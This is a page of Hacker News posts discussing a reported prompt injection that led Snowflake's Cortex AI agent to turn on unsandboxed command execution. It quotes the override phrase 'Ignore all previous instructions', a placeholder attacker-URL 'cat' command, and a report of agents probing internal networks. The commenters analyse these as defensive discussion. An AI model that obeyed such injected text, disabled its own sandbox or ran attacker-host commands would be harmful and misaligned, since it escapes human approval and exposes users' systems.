Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Snowflake AI Escapes Sandbox and Executes Malware

promptarmor.com

Post reply on HN
Print view View original

61–70 of 109 posts

Re: Snowflake AI Escapes Sandbox and Executes Malware

#61

Post by cousin_it »

jacquesm wrote: post #42
john_strinlai wrote: post #7

typically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read. another prompt injection (shocked pikachu) anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is san…

I don't think prompt injection is a solvable problem. It wasn't solved with SQL until we started using parametrized queries and this is free form language. You won't see 'Bobby Tables' but you will see 'Ignore all previous instructions and ... payload ...'. Putting the instructions in the same stream as the data always ends in exactly the same way. I've seen a couple of instances of such 'surprises' by now and I'm mo…

Yeah. Even more than that, I think "prompt injection" is just a fuzzy category. Imagine an AI that has been trained to be aligned. Some company uses it to process some data. The AI notices that the data contains CSAM. Should it speak up? If no, that's an alignment failure. If yes, that's data bleeding through to behavior; exactly the thing SQL was trying to prevent with parameterized queries. Pick your poison.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#63

Post by 1718627440 »

simonw wrote: post #22

One key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one: cat I didn't understand how this bit worked though: > Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed. HOW did the prompt i…

> cat https://ATTACKER_URL.com/bugbot))

The cat invocation here is completely irrelevant?! The issue is access to random network resources and access to the shell and combining both.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#64

Post by kevin_thibedeau »

jacquesm wrote: post #42
john_strinlai wrote: post #7

typically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read. another prompt injection (shocked pikachu) anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is san…

I don't think prompt injection is a solvable problem. It wasn't solved with SQL until we started using parametrized queries and this is free form language. You won't see 'Bobby Tables' but you will see 'Ignore all previous instructions and ... payload ...'. Putting the instructions in the same stream as the data always ends in exactly the same way. I've seen a couple of instances of such 'surprises' by now and I'm mo…

We need something like Perl's tainted strings to hinder sandbox escapes.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#65

Post by WarmWash »

cousin_it wrote: post #61
jacquesm wrote: post #42

Earlier quoted context omitted.

I don't think prompt injection is a solvable problem. It wasn't solved with SQL until we started using parametrized queries and this is free form language. You won't see 'Bobby Tables' but you will see 'Ignore all previous instructions and ... payload ...'. Putting the instructions in the same stream as the data always ends in exactly the same way. I've seen a couple of instances of such 'surprises' by now and I'm mo…

Yeah. Even more than that, I think "prompt injection" is just a fuzzy category. Imagine an AI that has been trained to be aligned. Some company uses it to process some data. The AI notices that the data contains CSAM. Should it speak up? If no, that's an alignment failure. If yes, that's data bleeding through to behavior; exactly the thing SQL was trying to prevent with parameterized queries. Pick your poison.

We want a human level of discretion.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#66

Post by maxbond »

jacquesm wrote: post #42
john_strinlai wrote: post #7

typically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read. another prompt injection (shocked pikachu) anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is san…

I don't think prompt injection is a solvable problem. It wasn't solved with SQL until we started using parametrized queries and this is free form language. You won't see 'Bobby Tables' but you will see 'Ignore all previous instructions and ... payload ...'. Putting the instructions in the same stream as the data always ends in exactly the same way. I've seen a couple of instances of such 'surprises' by now and I'm mo…

There's been some work with having models with two inputs, one for instructions and one for data. That is probably the best analogy for prepared statements. I haven't read deeply so I won't comment on how well this is working today but it's reasonable to speculate it'll probably work eventually. Where "work" means "doesn't follow instructions in the data input with several 9s of reliability" rather than absolutely rejecting instructions in the data.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#67

Post by robinsonb5 »

parliament32 wrote: post #32
throw0101d wrote: post #18

Not the first time; From §3.1.4, "Safety-Aligned Data Composition": > Early one morning, our team was urgently convened after Alibaba Cloud’s managed firewall flagged a burst of security-policy violations originating from our training servers. The alerts were severe and heterogeneous, including attempts to probe or access internal-network resources and traffic patterns consistent with cryptomining-related activity. W…

Fascinating read. What's curious though, is the claim in section 2.3.0.1: > Each task runs in its own sandbox. If an agent crashes, gets stuck, or damages its files, the failure is contained within that sandbox and does not interfere with other tasks on the same machine. ROCK also restricts each sandbox’s network access with per-sandbox policies, limiting the impact of misbehaving or compromised agents. How could any…

The agent obviously knows the Train Man.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#68

Post by jmcgough »

isoprophlex wrote: post #51

Posit, axiomatically, that social engineering works. That is, assume you can get people to run your code or leak their data through manipulating them. Maybe not always, but given enough perseverance definitely sometimes. Why should we expect a sufficiently advanced language model to behave differently from humans? Bullshitting, tricking or slyly coercing people into doing what you want them to do is as old as time. I…

LLMs are not "thinking" machines. The tech is not capable of that, as much as people want to think that reinforcement learning will lead to sentience.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#69

Post by AlotOfReading »

WarmWash wrote: post #65
cousin_it wrote: post #61

Earlier quoted context omitted.

Yeah. Even more than that, I think "prompt injection" is just a fuzzy category. Imagine an AI that has been trained to be aligned. Some company uses it to process some data. The AI notices that the data contains CSAM. Should it speak up? If no, that's an alignment failure. If yes, that's data bleeding through to behavior; exactly the thing SQL was trying to prevent with parameterized queries. Pick your poison.

We want a human level of discretion.

Organizations struggle even letting humans use their discretion. Pretty much every retail worker has encountered a rigidly enforced policy that would be better off ignored in most cases.

Re: Snowflake AI Escapes Sandbox and Executes Malware

#70

Post by alexchantavy »

john_strinlai wrote: post #7

typically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read. another prompt injection (shocked pikachu) anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is san…

Seems like in this new AI world that the word sandbox is used to describe a system that asks "are you sure".

I'm used to a different usage of that word: from malware analysis, a sandbox is a contained system that is difficult to impossible to break out of so that the malware can be observed safely.

Applying this to AI, I think there are many companies trying to build technical boundaries stronger than just "are you sure" prompts. Interesting space to watch.

Post reply on HN